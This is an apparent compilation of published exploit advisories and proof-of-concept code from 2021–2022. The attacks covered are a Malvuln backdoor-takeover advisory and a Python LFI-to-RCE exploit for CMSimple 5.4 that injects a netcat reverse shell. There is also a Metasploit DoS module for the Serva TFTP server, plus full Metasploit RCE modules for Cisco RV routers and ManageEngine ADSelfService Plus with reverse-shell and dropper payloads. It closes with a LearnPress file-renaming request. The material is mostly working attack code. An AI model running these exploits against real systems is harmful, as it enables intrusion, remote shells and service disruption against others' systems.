<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/c61733c6bcbbb11cee634e0a3fd672e9.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Backdoor.Win32.Tiny.c<br />Vulnerability: Unauthenticated Remote Command Execution <br />Description: The malware listens on TCP port 7778. Third-party attackers who can reach an infected system can run any OS commands hijacking the compromised host.<br />Type: PE32<br />MD5: c61733c6bcbbb11cee634e0a3fd672e9<br />Vuln ID: MVID-2022-0476<br />Disclosure: 01/29/2022 <br /><br /><br />Exploit/PoC:<br />Note: Hit Enter twice and we get a command line to the infected host.<br /><br />nc64.exe x.x.x.x 7778<br /><br />wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww<br />'wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww' is not recognized as an internal or external command,<br />operable program or batch file.<br /><br />C:\Users\Victim\Desktop>whoami<br />whoami<br />desktop-2c3iqho\victim<br /><br />C:\Users\Victim\Desktop>net user malvuln 13 /add<br />net user malvuln 13 /add<br />The command completed successfully.<br /><br />C:\Users\Victim\Desktop><br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code># Exploit Title: CMSimple 5.4 - Local file inclusion (LFI) to Remote code execution (RCE) (Authenticated)<br /># Date: 11/15/2021<br /># Exploit Author: S1lv3r<br /># Vendor Homepage: https://www.cmsimple.org/en/<br /># Software Link: https://www.cmsimple.org/en/<br /># Version: CMSimple 5.4<br /># Tested on: CMSimple 5.4<br /><br /># writeup:<br /># https://github.com/iiSiLvEr/CMSimple5.4-Vulnerabilities<br /><br />#!/usr/bin/python3<br />import requests<br />import threading<br />import datetime<br />import sys<br />from bs4 import BeautifulSoup<br /><br /><br />x = datetime.datetime.now()<br />addSeconds = datetime.timedelta(0, 10)<br />Time = x + addSeconds<br /><br />proxies = {"http": "http://127.0.0.1:8080","https": "https://127.0.0.1:8080",}<br />def Login():<br /> try:<br /> global Time<br /> s = requests.Session()<br /> headers= {"Content-Type": "application/x-www-form-urlencoded"}<br /> <br /> data = f'login=true&selected=Welcome_to_CMSimple_5&User={User}&passwd={Password}&submit=Login'<br /><br /> response = s.post(RHOST, data=data, headers=headers, verify=False)#, proxies=proxies<br /> if response.cookies['passwd']:<br /> print("(+) Sucessfully Logged In With " + User + ":" + Password)<br /><br /> cookies = response.cookies<br /> params = (('file', 'config'),('action', 'array'),)<br /> response = s.get(RHOST ,cookies=cookies ,params=params,verify=False)<br /> soup = BeautifulSoup(response.text, 'lxml')<br /> CsrfValue = soup.find('input',attrs = {'name':'csrf_token'})['value']<br /> print("(+) Get CSRF Token : [ " + CsrfValue + " ]")<br /> data = f'csrf_token={CsrfValue}&functions_file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fphp%2Fsessions%2Fsess_S1lv3r&form=array&file=config&action=save'<br /> response = s.post(RHOST, headers=headers, cookies=cookies, data=data, verify=False)<br /> print("(+) Changing Functions file Done ")<br /> print("(+) Check Your nc listner on " + LPORT)<br /> except Exception as error:<br /> print("Error, Exiting;( ")<br /> print(error)<br /> pass<br />def fuzz():<br /> while True:<br /> try:<br /> sessionName = "S1lv3r"<br /> cookies = {'PHPSESSID': sessionName}<br /> files = {'PHP_SESSION_UPLOAD_PROGRESS':(None,<br /> '<?php passthru("nc '+ LHOST +' '+ LPORT + ' -e /bin/bash");?>'),<br /> 'file': ('Anything', 'S1lv3r'*100, 'application/octet-stream')}<br /> x = requests.post(RHOST, files=files, cookies=cookies, verify=False)#, proxies=proxies<br /> except Exception as error:<br /> print(error)<br /> exit()<br />def main():<br /> print("\n(+) CMSimple LFI to RCE \n")<br /> Login()<br /> threads = []<br /> for _ in range(20):<br /> t = threading.Thread(target=fuzz)<br /> t.start()<br /> threads.append(t)<br /> for thread in threads:<br /> thread.join<br /><br />if __name__ == "__main__":<br /><br /> if len(sys.argv) <= 5:<br /> print("\n(-) Usage: {} <RHOST> <LHOST> <LPORT> <USER> <PASS>".format(sys.argv[0]))<br /> print("(-) eg: {} https://xyz.xyz 192.168.1.15 1337 ".format(sys.argv[0]))<br /> print("\n(=) SiLvEr \n")<br /> exit() <br /> else:<br /> RHOST = sys.argv[1]<br /> LHOST = sys.argv[2]<br /> LPORT = sys.argv[3]<br /> User = sys.argv[4]<br /> Password = sys.argv[5]<br /> main()<br /> <br /></code></pre>
<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/c9291c93fce757a665352567ca13ec3f.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: HackTool.Win32.Muzzer.a<br />Vulnerability: Heap Based Buffer Overflow <br />Description: Processing a specially crafted ".exe", ".txt" file triggers a heap based buffer overflow. This results in overwriting ECX, EDX and AX (lower 16-bits) of the EAX register and corrupts memory located on the heap.<br />Type: PE32<br />MD5: c9291c93fce757a665352567ca13ec3f <br />Vuln ID: MVID-2022-0475<br />Dropped files: <br />ASLR: False<br />DEP: False<br />Safe SEH: False<br />Disclosure: 01/29/2022<br /><br />Memory Dump:<br />(1f94.1548): Access violation - code c0000005 (first/second chance not available)<br />eax=00000000 ebx=00000000 ecx=41414141 edx=41414141 esi=00000003 edi=00000003<br />eip=773ced3c esp=000df394 ebp=000df524 iopl=0 nv up ei pl nz na po nc<br />cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202<br />ntdll!ZwWaitForMultipleObjects+0xc:<br />773ced3c c21400 ret 14h<br /><br />0:000> .ecxr<br />eax=00004141 ebx=02433080 ecx=41414141 edx=41414141 esi=02433088 edi=001e0000<br />eip=773a2d6a esp=000dfcd0 ebp=000dfe90 iopl=0 nv up ei pl nz na po nc<br />cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202<br />ntdll!RtlpAllocateHeap+0x37a:<br />773a2d6a 8b09 mov ecx,dword ptr [ecx] ds:002b:41414141=????????<br /><br />0:000> !analyze -v<br />*******************************************************************************<br />* *<br />* Exception Analysis *<br />* *<br />*******************************************************************************<br /><br />*** WARNING: Unable to verify checksum for HackTool.Win32.Muzzer.a.c9291c93fce757a665352567ca13ec3f<br />*** ERROR: Module load completed but symbols could not be loaded for HackTool.Win32.Muzzer.a.c9291c93fce757a665352567ca13ec3f<br /><br />FAULTING_IP: <br />ntdll!RtlpAllocateHeap+37a<br />773a2d6a 8b09 mov ecx,dword ptr [ecx]<br /><br />EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)<br />ExceptionAddress: 773a2d6a (ntdll!RtlpAllocateHeap+0x0000037a)<br /> ExceptionCode: c0000005 (Access violation)<br /> ExceptionFlags: 00000000<br />NumberParameters: 2<br /> Parameter[0]: 00000000<br /> Parameter[1]: 41414141<br />Attempt to read from address 41414141<br /><br />PROCESS_NAME: HackTool.Win32.Muzzer.a.c9291c93fce757a665352567ca13ec3f<br /><br />ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.<br /><br />EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.<br /><br />EXCEPTION_PARAMETER1: 00000000<br /><br />EXCEPTION_PARAMETER2: 41414141<br /><br />READ_ADDRESS: 41414141 <br /><br />FOLLOWUP_IP: <br />HackTool_Win32_Muzzer_a+1197<br />00401197 8bf8 mov edi,eax<br /><br />MOD_LIST: <ANALYSIS/><br /><br />NTGLOBALFLAG: 0<br /><br />APPLICATION_VERIFIER_FLAGS: 0<br /><br />FAULTING_THREAD: 00001548<br /><br />BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141<br /><br />PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_41414141<br /><br />DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_41414141<br /><br />LAST_CONTROL_TRANSFER: from 773a16b7 to 773a2d6a<br /><br />STACK_TEXT: <br />000dfe90 773a16b7 00010000 00010008 00000000 ntdll!RtlpAllocateHeap+0x37a<br />000dfee0 773a13ee 00100008 00000000 00000000 ntdll!RtlpAllocateHeapInternal+0x2b7<br />000dfefc 76750cd4 001e0000 00100008 00010000 ntdll!RtlAllocateHeap+0x3e<br />000dff4c 00401197 00000040 00010000 02423080 KERNELBASE!GlobalAlloc+0x64<br />WARNING: Stack unwind information not available. Following frames may be wrong.<br />000dff78 0040113d 00401022 76e38654 00344000 HackTool_Win32_Muzzer_a+0x1197<br />000dff7c 00401022 76e38654 00344000 76e38630 HackTool_Win32_Muzzer_a+0x113d<br />0040113d e3830040 cbbc0fef 2bcbb30f c8ab0fc0 HackTool_Win32_Muzzer_a+0x1022<br />00401141 cbbc0fef 2bcbb30f c8ab0fc0 00001ee8 0xe3830040<br />00401145 2bcbb30f c8ab0fc0 00001ee8 74db8500 0xcbbc0fef<br />00401149 c8ab0fc0 00001ee8 74db8500 55eaeb02 0x2bcbb30f<br />0040114d 00000000 74db8500 55eaeb02 000927e8 0xc8ab0fc0<br /><br /><br />STACK_COMMAND: !heap ; ~0s; .ecxr ; kb<br /><br />SYMBOL_STACK_INDEX: 4<br /><br />SYMBOL_NAME: HackTool_Win32_Muzzer_a+1197<br /><br />FOLLOWUP_NAME: MachineOwner<br /><br />MODULE_NAME: HackTool_Win32_Muzzer_a<br /><br />IMAGE_NAME: HackTool.Win32.Muzzer.a.c9291c93fce757a665352567ca13ec3f<br /><br />DEBUG_FLR_IMAGE_TIMESTAMP: 0<br /><br />FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_41414141_c0000005_HackTool.Win32.Muzzer.a.c9291c93fce757a665352567ca13ec3f!Unknown<br /><br />BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_HackTool_Win32_Muzzer_a+1197<br /><br /><br /><br />Exploit/PoC:<br />python -c "print('MZ'+'A'*10000)" > HATE.exe<br /><br />C:\dump>HackTool.Win32.Muzzer.a.exe HATE.exe<br />Muazzin tester - (c) Vecna 2000<br />■ Loading muazzin... Sucess.<br />■ Muazzin size: 72004<br />■ Memory alloc... Sucess.<br />■ Reading code... Sucess.<br />■ File format: Binary.<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code># Exploit Title: Serva 4.4.0 TFTP Server Remote Buffer Overflow (Metasploit)<br /># Date: 2021-11-23<br /># Exploit Author: Yehia Elghaly<br /># Vendor Homepage: https://www.vercot.com/<br /># Software Link : https://www.vercot.com/~serva/download/Serva_Community_v4.4.0-21081411.zip<br /># Tested Version: 4.4.0<br /># Tested on: Windows XP SP3 - Windows 7 Professional x86 SP1 - Windows 10 x64<br /><br />##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Auxiliary<br /> include Msf::Exploit::Remote::Udp<br /> include Msf::Auxiliary::Dos<br /> Rank = ExcellentRanking<br /><br /> def initialize(info = {})<br /> super(update_info(info,<br /> 'Name' => 'Serva 4.4.0 TFTP Remote Buffer Overflow',<br /> 'Description' => %q{<br /> The Serva TFTP server version 4.4.0 can be<br /> brought down by sending a special Read request.<br /> },<br /> 'Author' => 'Yehia Elghaly',<br /> 'License' => MSF_LICENSE,<br /> 'DisclosureDate' => '2021-11-23'))<br /><br /> register_options([Opt::RPORT(69)])<br /> end<br /><br /> def run<br /> connect_udp<br /> print_status("Sending Read request...")<br /> sploit = "\x00\x01"<br /> sploit += "A" * 257<br /> sploit += "\x00"<br /> sploit += "netascii"<br /> sploit += "\x00"<br /> udp_sock.put(sploit)<br /> disconnect_udp<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::CmdStager<br /> include Msf::Exploit::FileDropper<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Cisco Small Business RV Series Authentication Bypass and Command Injection',<br /> 'Description' => %q{<br /> This module exploits an authentication bypass (CVE-2021-1472) and command injection (CVE-2021-1473)<br /> in the Cisco Small Business RV series of VPN/routers. The device does not adequately verify the<br /> credentials in the HTTP Authorization field when requests are made to the /upload endpoint. Then<br /> the upload.cgi binary will use the contents of the HTTP Cookie field as part of a `curl` request<br /> aimed at an internal endpoint. The curl request is executed using `popen` and allows the attacker<br /> to inject commands via the Cookie field.<br /><br /> A remote and unauthenticated attacker using this module is able to achieve code execution as `www-data`.<br /><br /> This module affects the RV340, RV340w, RV345, and RV345P using firmware versions 1.0.03.20 and below.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Takeshi Shiomitsu', # Vulnerability discovery<br /> 'jbaines-r7' # Metasploit module<br /> ],<br /> 'References' => [<br /> [ 'CVE', '2021-1472' ],<br /> [ 'CVE', '2021-1473' ],<br /> [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-rv-bypass-inject-Rbhgvfdx'],<br /> [ 'URL', 'https://seclists.org/fulldisclosure/2021/Apr/39' ],<br /> [ 'URL', 'https://www.iot-inspector.com/blog/advisory-cisco-rv34x-authentication-bypass-remote-command-execution/' ]<br /> ],<br /> 'DisclosureDate' => '2021-04-07',<br /> 'Platform' => ['unix', 'linux'],<br /> 'Arch' => [ARCH_CMD, ARCH_ARMLE],<br /> 'Privileged' => false,<br /> 'Targets' => [<br /> [<br /> 'Unix Command',<br /> {<br /> 'Platform' => 'unix',<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :unix_cmd,<br /> 'Payload' => {<br /> 'BadChars' => '\''<br /> },<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/unix/reverse_netcat'<br /> }<br /> }<br /> ],<br /> [<br /> 'Linux Dropper',<br /> {<br /> 'Platform' => 'linux',<br /> 'Arch' => [ARCH_ARMLE],<br /> 'Type' => :linux_dropper,<br /> 'Payload' => {<br /> 'BadChars' => '\''<br /> },<br /> 'CmdStagerFlavor' => [ 'wget', 'curl' ],<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'RPORT' => 443,<br /> 'SSL' => true,<br /> 'MeterpreterTryToFork' => true<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]<br /> }<br /> )<br /> )<br /> register_options([<br /> OptString.new('TARGETURI', [true, 'Base path', '/'])<br /> ])<br /> end<br /><br /> # Sends the exploit. Authentication bypass is successful as long as the authorization field<br /> # is present (we add a valid base64 value as well). Command injection occurs in the cookie<br /> # field. Otherwise, various values need to be present in the /upload to satisfy the upload<br /> # configuration logic. Randomized values to the best of our ability.<br /> # @return res<br /> def send_exploit(cmd)<br /> options = Rex::Text.rand_text_alphanumeric(5..12)<br /> destination = Rex::Text.rand_text_alphanumeric(5..12)<br /> filepath = Rex::Text.rand_text_alphanumeric(5..12)<br /> filename = Rex::Text.rand_text_alphanumeric(5..12)<br /> filexml = Rex::Text.rand_text_alphanumeric(5..12)<br /> uploadname = Rex::Text.rand_text_alphanumeric(5..12)<br /> auth = Rex::Text.encode_base64("#{Rex::Text.rand_text_alphanumeric(5..12)}:#{Rex::Text.rand_text_alphanumeric(5..12)}")<br /><br /> multipart_form = Rex::MIME::Message.new<br /> multipart_form.add_part(options, nil, nil, 'form-data; name="option"')<br /> multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"')<br /> multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"')<br /> multipart_form.add_part(filexml, 'application/xml', nil, 'form-data; name="file"; filename="config.xml"')<br /> multipart_form.add_part("#{filename}.xml", nil, nil, 'form-data; name="filename"')<br /><br /> # this xml data required as is<br /> multipart_form.add_part('<input><fileType>configuration</fileType><source><location-url>' \<br /> 'FILE://Configuration/config.xml</location-url></source><destination><config-type>' \<br /> 'config-running</config-type></destination></input>', nil, nil, "form-data; name=\"#{uploadname}\"")<br /><br /> send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, '/upload'),<br /> 'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",<br /> 'headers' => {<br /> 'Cookie' => "sessionid='`#{cmd}`'",<br /> 'Authorization' => auth<br /> },<br /> 'data' => multipart_form.to_s<br /> }, 10)<br /> end<br /><br /> # The system doesn't have a good way to snag the version. This check attempts the exploit<br /> # with a command that returns immediately (id) and checks that the response looks like<br /> # how a vulnerable target would respond.<br /> def check<br /> res = send_exploit('id')<br /> return CheckCode::Unknown("Didn't receive a response from the target.") unless res<br /> return CheckCode::Safe('The target did not respond with a 200 OK.') unless res.code == 200<br /><br /> if res.body.include?('"jsonrpc":"2.0"') || res.body.include?('<head><title>301 Moved Permanently</title></head>')<br /> return CheckCode::Appears('The device responded to exploitation with a 200 OK.')<br /> end<br /><br /> CheckCode::Safe('The target did not respond with an expected payload.')<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> # parsing of the cookie field is thrown off by ;. Replacing with && works fine, but the only<br /> # downside is if the payload fails then it won't clean up after itself. Oddly, device's sh<br /> # required the spacing.<br /> cmd = cmd.gsub(/;/, ' && ')<br /> res = send_exploit(cmd)<br /><br /> # unix command holds the connection open. Meterpreter should not. I think this logic is fine though.<br /> # If :unix_cmd gets a good check() value and then send_exploit returns with a nil response<br /> # then that is a clear sign that :unix_cmd was successful<br /> if target['Type'] != :unix_cmd<br /> fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200<br /> body_json = res.get_json_document<br /> fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json<br /> end<br /><br /> print_good('Exploit successfully executed.')<br /> end<br /><br /> def exploit<br /> print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")<br /> case target['Type']<br /> when :unix_cmd<br /> execute_command(payload.encoded)<br /> when :linux_dropper<br /> execute_cmdstager(linemax: 120)<br /> end<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /><br /> Rank = ExcellentRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::Remote::Java::HTTP::ClassLoader # TODO: Refactor this<br /> include Msf::Exploit::FileDropper<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'ManageEngine ADSelfService Plus CVE-2021-40539',<br /> 'Description' => %q{<br /> This module exploits CVE-2021-40539, a REST API authentication bypass<br /> vulnerability in ManageEngine ADSelfService Plus, to upload a JAR and<br /> execute it as the user running ADSelfService Plus - which is SYSTEM if<br /> started as a service.<br /> },<br /> 'Author' => [<br /> # Discovered by unknown threat actors<br /> 'Antoine Cervoise', # Independent analysis and RCE<br /> 'Wilfried Bécard', # Independent analysis and RCE<br /> 'mr_me', # keytool classloading technique<br /> 'wvu' # Initial analysis and module<br /> ],<br /> 'References' => [<br /> ['CVE', '2021-40539'],<br /> ['URL', 'https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html'],<br /> ['URL', 'https://attackerkb.com/topics/DMSNq5zgcW/cve-2021-40539/rapid7-analysis'],<br /> ['URL', 'https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html'],<br /> ['URL', 'https://github.com/synacktiv/CVE-2021-40539/blob/main/exploit.py']<br /> ],<br /> 'DisclosureDate' => '2021-09-07',<br /> 'License' => MSF_LICENSE,<br /> 'Platform' => 'java',<br /> 'Arch' => ARCH_JAVA,<br /> 'Privileged' => false, # true if ADSelfService Plus is run as a service<br /> 'Targets' => [<br /> ['Java Dropper', {}]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'RPORT' => 8888<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]<br /> }<br /> )<br /> )<br /><br /> register_options([<br /> OptString.new('TARGETURI', [true, 'Path traversal for auth bypass', '/./'])<br /> ])<br /> end<br /><br /> def check<br /> res = send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, '/RestAPI/LogonCustomization'),<br /> 'vars_post' => {<br /> 'methodToCall' => 'previewMobLogo'<br /> }<br /> )<br /><br /> unless res<br /> return CheckCode::Unknown('Target failed to respond to check.')<br /> end<br /><br /> unless res.code == 200 && res.body.match?(%r{mobLogo.*/temp/tempMobPreview\.jpeg})<br /> return CheckCode::Safe('Failed to bypass REST API authentication.')<br /> end<br /><br /> CheckCode::Vulnerable('Successfully bypassed REST API authentication.')<br /> end<br /><br /> def exploit<br /> upload_payload_jar<br /> execute_payload_jar<br /> end<br /><br /> def upload_payload_jar<br /> print_status("Uploading payload JAR: #{jar_filename}")<br /><br /> jar = payload.encoded_jar<br /> jar.add_file("#{class_name}.class", constructor_class) # Hack, tbh<br /><br /> form = Rex::MIME::Message.new<br /> form.add_part('unspecified', nil, nil, 'form-data; name="methodToCall"')<br /> form.add_part('yas', nil, nil, 'form-data; name="Save"')<br /> form.add_part('smartcard', nil, nil, 'form-data; name="form"')<br /> form.add_part('Add', nil, nil, 'form-data; name="operation"')<br /> form.add_part(jar.pack, 'application/java-archive', 'binary',<br /> %(form-data; name="CERTIFICATE_PATH"; filename="#{jar_filename}"))<br /><br /> res = send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, '/RestAPI/LogonCustomization'),<br /> 'ctype' => "multipart/form-data; boundary=#{form.bound}",<br /> 'data' => form.to_s<br /> )<br /><br /> unless res&.code == 404<br /> fail_with(Failure::NotVulnerable, 'Failed to upload payload JAR')<br /> end<br /><br /> # C:\ManageEngine\ADSelfService Plus\bin (working directory)<br /> register_file_for_cleanup(jar_filename)<br /><br /> print_good('Successfully uploaded payload JAR')<br /> end<br /><br /> def execute_payload_jar<br /> print_status('Executing payload JAR')<br /><br /> res = send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, '/RestAPI/Connection'),<br /> 'vars_post' => {<br /> 'methodToCall' => 'openSSLTool',<br /> 'action' => 'generateCSR',<br /> # https://docs.oracle.com/javase/8/docs/technotes/tools/unix/keytool.html<br /> 'VALIDITY' => "#{rand(1..365)} -providerclass #{class_name} -providerpath #{jar_filename}"<br /> }<br /> )<br /><br /> unless res&.code == 404<br /> fail_with(Failure::PayloadFailed, 'Failed to execute payload JAR')<br /> end<br /><br /> print_good('Successfully executed payload JAR')<br /> end<br /><br /> def jar_filename<br /> @jar_filename ||= "#{rand_text_alphanumeric(8..16)}.jar"<br /> end<br /><br />end<br /></code></pre>
<pre><code># Exploit Title: WordPress Plugin Learnpress 4.1.4.1 - Arbitrary Image Renaming<br /># Date: 08-01-2022<br /># Exploit Author: Ceylan Bozogullarindan<br /># Author Webpage: https://bozogullarindan.com<br /># Vendor Homepage: https://thimpress.com/<br /># Software Link: https://thimpress.com/learnpress-plugin/<br /># Version: 4.1.4.1<br /># Tested on: Linux<br /># CVE: CVE-2022-0377 (https://wpscan.com/vulnerability/0d95ada6-53e3-4a80-a395-eacd7b090f26)<br /><br /><br /># Description:<br /><br />LearnPress is a WordPress complete solution for creating a Learning Management System (LMS). It can help you to create courses, lessons and quizzes.<br /><br />A user of this LMS can upload an image as a profile avatar after the registration. After this process the user crops and saves the image. Then a "POST" request that contains user supplied name of the image is sent to the server for renaming and cropping of the image. As a result of this request, the name of the user-supplied image is changed with a MD5 value. This process can be conducted only when type of the image is JPG or PNG.<br /><br />An attacker can use this vulnerability in order to rename an arbitrary image file. By doing this, he/she can destroy the design of the web site. Some examples of the malicious actions:<br /><br />- Destroying of banner of a web site<br />- Destroying of user avatars<br />- Destroying of post images<br />- Destroying of button/app images etc.<br /><br /># Steps To Reproduce<br /><br />1. Register and login to the learnpress system.<br />2. Go to the profile page and upload an avatar image: https://<learnpress-website>/lp-profile/<your-username>/settings/avatar/<br />3. While saving the image, intercept the POST request by a local proxy tool such as Burpsuite.<br />4. Change the value of the `lp-user-avatar-crop[name]` parameter to an arbitrary image file path that is in the website (example, /2021/01/image.png or /../../image.png). The path is relative to "/wp-content/uploads/".<br />5. Forward the intercepted request and check the existence of the image file given in Step 4.<br />6. You will see that the image can not be found. Because the name of it is renamed.<br /><br /># PoC - Supported Materials<br /><br />Request<br />---------------------------------------------------------------------------<br />POST /lp-profile/<username>/settings/avatar/?lp-ajax=save-uploaded-user-avatar HTTP/1.1<br />Host: 127.0.0.1:8000<br />Accept: */*<br />Accept-Language: en-US,en;q=0.5<br />Accept-Encoding: gzip, deflate<br />Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br />X-Requested-With: XMLHttpRequest<br />Content-Length: 242<br />Origin: http://127.0.0.1:8000<br />Connection: close<br />Referer: http://127.0.0.1:8000/lp-profile/ceylanb/settings/avatar/<br />Cookie: _learn_press_session_4411def9d576984c8d78253236b2a62f=4509d5151308952d51776226bb847241%7C%7C1641770556%7C%7C19e385a78349f37ac993a36ecda9c41f; wordpress_lp_cart=1; wordpress_logged_in_4411def9d576984c8d78253236b2a62f=ceylanb%7C1642807471%7CRKS5hU3q1b2G0xY1pkwfl43yVJdIqz9fqBLcknvbyzJ%7C98d337987ee0cbc7539a742e2ebbfbe107d1e0c910c3efd9daa51c4775236e19; LP=%7B%22course-tab%22%3A%22overview%22%7D<br />Sec-Fetch-Dest: empty<br />Sec-Fetch-Mode: cors<br />Sec-Fetch-Site: same-origin<br />DNT: 1<br />Sec-GPC: 1<br /><br />lp-user-avatar-crop%5Bname%5D=%2f..%2f..%2fimage.jpg&lp-user-avatar-crop%5Bwidth%5D=250&lp-user-avatar-crop%5Bheight%5D=250&lp-user-avatar-crop%5Bpoints%5D=0%2C0%2C300%2C300&lp-user-avatar-crop%5Bnonce%5D=8bdc969b07&lp-user-avatar-custom=yes<br />---------------------------------------------------------------------------<br /><br />Response<br />---------------------------------------------------------------------------<br />HTTP/1.1 200 OK<br />Date: Sat, 08 Jan 2022 00:30:11 GMT<br />Server: Apache/2.4.48 (Debian)<br />X-Powered-By: PHP/7.4.23<br />Expires: Wed, 11 Jan 1984 05:00:00 GMT<br />Cache-Control: no-cache, must-revalidate, max-age=0<br />Link: <http://127.0.0.1:8000/wp-json/>; rel="https://api.w.org/"<br />Link: <http://127.0.0.1:8000/wp-json/wp/v2/pages/17>; rel="alternate"; type="application/json"<br />Link: <http://127.0.0.1:8000/?p=17>; rel=shortlink<br />Vary: Accept-Encoding<br />Content-Length: 191<br />Connection: close<br />Content-Type: text/html; charset=UTF-8<br /><br /><-- LP_AJAX_START -->{"success":true,"avatar":"<img src=\"http:\/\/127.0.0.1:8000\/wp-content\/uploads\/learn-press-profile\/2\/f574f3e6594498507333c41af9426d43.jpg\" \/>"}<-- LP_AJAX_END --><br />---------------------------------------------------------------------------<br /></code></pre>
